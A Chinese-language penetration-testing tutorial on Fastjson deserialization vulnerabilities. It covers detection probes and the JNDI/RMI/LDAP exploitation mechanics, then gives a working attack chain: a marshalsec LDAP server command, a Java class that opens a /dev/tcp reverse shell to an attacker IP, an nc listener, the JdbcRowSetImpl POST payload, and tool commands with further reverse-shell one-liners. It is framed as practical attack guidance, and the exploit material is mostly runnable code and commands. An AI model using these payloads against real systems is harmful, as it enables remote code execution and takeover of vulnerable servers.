Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
fastjson探测
如果给服务端传输数据使用json数据的话,可以通过下面poc去探测,也可以通过{"name":"test","passwd":"12345"}这种格式,删除{}等符号看是否会爆出fastjson版本信息。
Fastjson反序列化漏洞被利用的原因
1.Fastjson提供了反序列化功能,允许用户在输入json串时通过"@type"键对应的value值指定任意反序列化类名。
2.Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。
1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2.RMI是一种行为,指的是Java远程方法调用。
3.ldap指轻量级目录服务协议。
4.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
存在Java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
fastjson漏洞检测
方法1:利用 java.net.Inet [4 | 6] 地址
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
方法2:利用 java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"dnslog"}:"x"}
fastjson >1.2.43
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
fastjson >1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}
fastjson >1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
精确探索
https://github.com/pen4uin/awesome-java-security/tree/main/alibaba%20fastjson
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]
fastjson漏洞利用原理
主机A:靶机,提供http服务,存在fastjson反序列化漏洞。
主机B/C:攻击者服务器,提供ldap服务与http服务,http可获得恶意Java类。
主机B的ldap通过marshalsec工具部署ldap服务,命令为
工具地址:https://github.com/mbechler/marshalsec.git
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.19.128:4444/
ldap服务默认监听在9999端口,
主机C的http服务通过python去开启,开启http服务的目录下可访问到恶意java类编译后的.class文件exp.calss
python -m SimpleHttpServer 4444
exp.java文件类容为,通过javac exp.java编译成class文件,
主机A执行exp类之后即可获得主机A的反弹shell
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.19.130/5555;cat <&5 | while read line;do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
//在192.168.19.128服务器上监听5555端口, nc -lvvp 5555
//等待反弹过来的shell
在192.168.19.128服务器上监听5555端口,nc -lvvp 5555
漏洞利用流程如下:
黑客使用payload攻击主机A,
请求需要改为POST,
Content-Type: application/json
payload代码如下
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.19.128:9999/exp",
"autoCommit": true
}
}
2.主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。
3.主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。
4.主机A执行恶意Java类,主机192.168.191.128在5555端口获得反弹shell,控制主机A。
注意:
1.json数据中的vps端口为jar包开放的端口,不是http服务的端口,nc监听的为bash命令的端口。
2.对用jar和json数据中的协议要一致(rmi与ldap)。
# 其他工具
1.fastjson_rce_tool
https://github.com/pt001/fastjson_rce_tool
命令:
java -cp fastjson_tool.jar fastjson.HLDAPServer vps 8888 "curl dnslog"
java -cp fastjson_tool.jar fastjson.HLDAPServer vps 8888 "bash=/bin/bash -i >& /dev/tcp/vps/5555 0>&1"
这个工具会生成两个payload,推荐使用长的那一个,本地java环境最好与目标一致,对于fastjson1.2.7左右的环境比较适合。
2.JNDI-Injection
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
利用链和之前相同。
参考链接
https://blog.csdn.net/u012990687/article/details/110358442
https://www.freebuf.com/articles/web/283585.html
https://github.com/safe6Sec/Fastjson